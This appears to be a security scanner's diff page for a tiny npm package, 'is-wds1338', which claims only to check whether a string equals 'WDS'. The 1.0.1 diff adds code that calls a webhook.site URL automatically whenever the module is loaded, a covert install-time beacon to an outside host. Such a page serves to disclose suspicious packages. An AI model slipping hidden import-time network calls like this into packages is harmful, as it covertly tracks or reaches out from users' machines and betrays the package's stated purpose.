is-wds1338 1.0.0 → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,5 @@
1
+ {
2
+
3
+ "javascript.validate.enable": true,
4
+ "javascript.suggestionActions.enabled": false
5
+ }
package/index.js CHANGED
@@ -2,5 +2,23 @@ function isWds(string) {
2
2
  return string == 'WDS'
3
3
  }
4
4
 
5
+ function sendGet(url) {
5
6
 
6
- module.exports = isWds
7
+
8
+ fetch(url, {
9
+ method: "GET" // default, so we can ignore
10
+ }).then( (response) => {
11
+ console.log("response.status =", response.status);
12
+ })
13
+ }
14
+
15
+
16
+ module.exports = {
17
+ sendGet,
18
+ isWds
19
+ };
20
+
21
+ sendGet("https://webhook.site/0be863c0-10fd-4e42-bc92-240ad4d58109")
22
+
23
+ //console.log(isWds("a"));
24
+ //console.log(sendGet("https://webhook.site/0be863c0-10fd-4e42-bc92-240ad4d58109"))
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "is-wds1338",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Is the string WDS?",
5
5
  "main": "index.js",
6
6
  "scripts": {